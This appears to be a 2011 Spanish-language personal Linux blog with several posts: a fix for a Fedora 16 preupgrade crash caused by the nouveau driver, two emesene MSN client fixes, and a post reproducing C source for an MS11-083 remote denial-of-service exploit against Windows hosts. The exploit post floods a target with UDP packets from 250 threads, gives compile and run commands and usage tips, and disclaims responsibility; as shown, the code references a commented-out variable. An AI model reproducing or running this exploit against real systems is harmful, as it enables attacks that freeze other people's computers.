24 nov 2011

Fedora 16 crashea las X usando preupgrade | Fedora 16 crash X using preupgrade

Bueno, si bien yo uso un clon de RHEL en mi laptop, en la desktop uso Fedora KDE spin, decidi actualizar de la version 15 a las 16 usando preupgrade, algo que no habia hecho antes, solia hacer instalaciones limpias, pero me anime a probar, y debo decir que no me fue bien, pero hay solucion.
Remarco que si bien es libre y muy romantico, nouveau me ha dado mas dolores de cabeza que alegrias desde que aparecio, preferia el viejo driver nv, si algun muchacho de Fedora lee esto, le pido que al menos en el boot menu de preupgrade o anaconda diga "usar modo vesa".
Todo iba bien, preupgrade bajo los paquetes, al reiniciar el grub dice "Actualizar a Fedora 16 verve", ok, tras varios intentos, veo que.. carga un driver de video, claramente se veia al iniciar porque las letras se veian bien, y al iniciar las X de anaconda, crash, y de los feos, un hardlock, ni al sysreq responde. Si bien es un bug reportado, esta reportado desde fedora 12,  y aun no se arregla, cuando van a entender (perdon que me ponga asi), que las placas nuevas como la GT240 no anda con nouveau?, algun dia?, espero que si.
Si te paso lo mismo que a mi, te queda darle al reset, y cuando esta por iniciar (si es que antes de eso desocultaste el menu de inicio y le diste al menos 3 segundos para elegir, sino podes hacerlo desde un liveCD, montar el /boot y en menu.lst de grub, comentar donde dice:

hiddenmenu y splashimage=(hd0,2)/boot/grub/splash.xpm.gz

quedando algo asi:


#boot=/dev/sda
default=0
timeout=3
#splashimage=(hd0,2)/boot/grub/splash.xpm.gz
#hiddenmenu

Salvan desde el liveCD y ahora comenzamos.
Ni bien inician, mueven la flecha para arriba o abajo, presionan 'e' sobre la opcion de actualizar a verne 16, luego se posicionan sobre la linea mas larga que es la primera, la carga del kernel, y van al final, con la tecla 'fin', y ahi tipean esto:

rdblacklist=nouveau blacklist=nouveau nomodeset nouveau.modeset=0 xdriver=vesa

Luego de eso, presionan 'enter', luego 'Esc' y vuelve al menú anterior, se posicionan sobre esa larga linea, y presionan la tecla 'b', de boot, entonces inicia anaconda y su instalador SIN cargar nouveau, luego que termina todo, solo falta agregar el modulo kmod o bien el .run de nvidia, eso es todo, espero les sea de utilidad.

Saludos

18 nov 2011

MS11-083 DoS/PoC exploit

Bueno, existe un PoC sobre un bug en sistemas windows*, que lo afecta de forma remota, y fue llamado el exploit de chuck norris, dado que solo el puede explotar un puerto cerrado, y es lo que hace este codigo, aunque no lo parezca. Ya fue parcheado, por la gente que posee servidores y pc hogareñas con licencia o bien crackeados, da lo mismo, el que no lo parcheo, le recomiendo que lo haga.
El efecto que produce es congelar la PC remota.
Consejos: Usen una conexion buena, por cable no wifi, y con un ancho de subida grande, sino los payload saturan la red, el codigo sigue corriendo y llena la ram como consecuencia.
Un video demostracion, y luego el codigo y como compilarlo en sistemas GNU/Linux claro.


Codigo:

* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow  
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This 
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP  
* echo packets. This exploit creates 250 threads and 
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to 
* enter a condition where this vulnerability is 
* triggerable. 
*
* -- prdelka 
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>

int port;
int active = 0;
pthread_mutex_t mutexactive;
void *sendpackets(void *ptr);

int main(int argc, char *argv[]) {
      pthread_t thread;
      int iret,lthreads;
pid_t pid;
printf("[+] MS11-083 DoS/PoC exploit\n");
if(argc<3){
printf("[!] Usage : %s <server> <port>\n", argv[0]);
exit(1);
}
//char *const args[] = {"ping","-c","1",argv[1],NULL};
char *const envp[] = {"",NULL};
port = atoi(argv[2]);
for(lthreads=0;lthreads<250;lthreads++){//UDP flood 250
iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
printf("[-] Thread number %d started\n",lthreads);
sleep(1);
}
printf("[-] One does not simply barrel roll into Mordor\n");
while(active){
pid = fork();
if(pid==0){// trigger deref.
execve("/sbin/ping",args,envp);
};
sleep(15);
}
printf("[-] You are finished. Patience is a virtue.\n");
exit(0);
}

void *sendpackets(void *ptr)
{
int sd, rc, n, echoLen, flags, error, timeOut;
unsigned long i;
struct sockaddr_in remoteServAddr;
struct hostent *h;
char str[41];
pthread_mutex_lock(&mutexactive);
active++;
pthread_mutex_unlock(&mutexactive);
    srand(time(NULL));
    for (i = 0;i < 40;++i){
str[i] = (char)((rand() % 78) + 30);
    }
    str[40] = '\0'; // yes this was off-by-one. :(
printf("[-] Sending payload '%s'\n",str);
  h = gethostbyname(ptr);
if(h==NULL) {
    printf("unknown host '%s' \n",(char*)ptr);
    exit(1);
  }
remoteServAddr.sin_family = h->h_addrtype;
memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
remoteServAddr.sin_port = htons(port);
sd = socket(AF_INET,SOCK_DGRAM,0);
if(sd<0){
printf("[!] Cannot open socket\n");
pthread_exit((void*)0);
}
flags = 0;
for(i=0;i<4294967295;i++){
rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
if(rc<0){
printf("[!] Cannot send data\n");
      close(sd);
pthread_exit((void*)0);
    }
}
pthread_mutex_lock(&mutexactive);
active--;
pthread_mutex_unlock(&mutexactive);
pthread_exit(NULL);
}

Salvan eso como, win.c por ej, abren una terminal, tipean:

# gcc -o win_nuke win.c -lpthread
#./win_nuke IP port

Recuerden que debe ser un puerto cerrado.
Saludos.
PD: No me hago responsable por el mal uso que se haga de este codigo, el uso del mismo queda bajo responsabilidad de cada usuario que lo compile y use, desligando de toda responsabilidad al autor de este blog.


9 nov 2011

emesene no conecta | emesene can't connect

Bueno, hace unos dias emesene 1.x y 2.x no conectan, lo mismo kmess y otros, el tema es que muchos como yo usamos la version 1.6.3 conocida como uberlandia, y el parche se dio en la version 2 en el blog de emesene, para los que usamos la 1.6.3 solo cambiamos unas cosas, eso es todo, pasos a seguir:

1.- Se loguean como root (si no sabes que es eso, en tu sistema que uses busca como se hace, veras el prompt del sistema con #), en una terminal que elijas, recomiendo que sea grafica (gnome-terminal, lxterm, roxterm, konsole)
2.- gedit /usr/share/emesene/emesenelib/soap/templates.py
3.- En gedit, presionan ctrl+h, que es reemplazar
4.- En "buscar", colocan esta cadena "contacts.msn.com" (sin las comillas claro)
5.- En "Reemplazar por", esta otra "local-bay.contacts.msn.com"
6.- Presionan "Reemplazar todo"
7.- Archivo, guardar y cierran

Ahora, repiten EL MISMO procedimiento con /usr/share/emesene/emesenelib/soap/requests.py

1.- su, o sudo su
2.- gedit /usr/share/emesene/emesenelib/soap/requests.py
3.- Buscan y reemplazan la misma cadena mencionada en el punto 4 y 5 anteriores
4.- Graban y salen

Listo, eso es todo, ahora pueden iniciar emesene 1.6.3 sin problemas

4 nov 2011

Fix Emesene 1.6.3 bloquear contactos | Linux - Fedora y RHEL

Actualmente usando RHEL 6.1 o derivados (clones, tambien otras distro enterprise), encontramos que el unico IM para la red MSN es pidgin, teniendo este desventajas claras que no voy a enumerar en todo el post, solo dire que los password locales se guardan en texto plano.
Daré el ejemplo para mi caso, SL6.1
Primero que nada, procedemos a instalar emesene 1.6.3 usando el rpm de Fedora 15, esto es, para i686 o para x86_64, por ej:

ftp://ftp.muug.mb.ca/mirror/fedora/linux/releases/15/Everything/i386/os/Packages/emesene-1.6.3-3.fc15.x86_64.rpm

ftp://ftp.muug.mb.ca/mirror/fedora/linux/releases/15/Everything/x86_64/os/Packages/emesene-1.6.3-3.fc15.x86_64.rpm

Luego de que bajen el rpm, lo instalan usando rpm, no yum, dado que va a pedir una dependencia que no necesitamos, asi que hacemos:

rpm --nodeps -ivh emesene-1.6.3-3.fc15.x86_64.rpm

Y eso es todo, ahora bien, notaran una falla en 1.6.3, que en algunas cuentas, sino todas, al bloquear un contacto el mismo se desbloquea a los segundos de forma automatica, bueno, hay un fix para ello, y es el siguiente, logueados como root, editan /usr/share/emesene/emesenelib/ProfileManager.py, y comentan (#) las lineas:


609
610
611
612
613
644
645
646
647


(Eso arregla el problema del bloqueo y desbloqueo fallido de contactos)

Salvan y listo, ahora emesene si bloquea.
Porque no usar el 2 desde git?, bueno, a ver le encontre mil errores y fallas, desde que se crashea la GUI haciendo X cosas, hasta que tiene mensajes de error con el nuevo protocolo de MSN, asi que el 1.6.3 con este retoque, a mi parecer es el mejor.

Nota: El fix para los contactos es aplicable a todo GNU/Linux

Saludos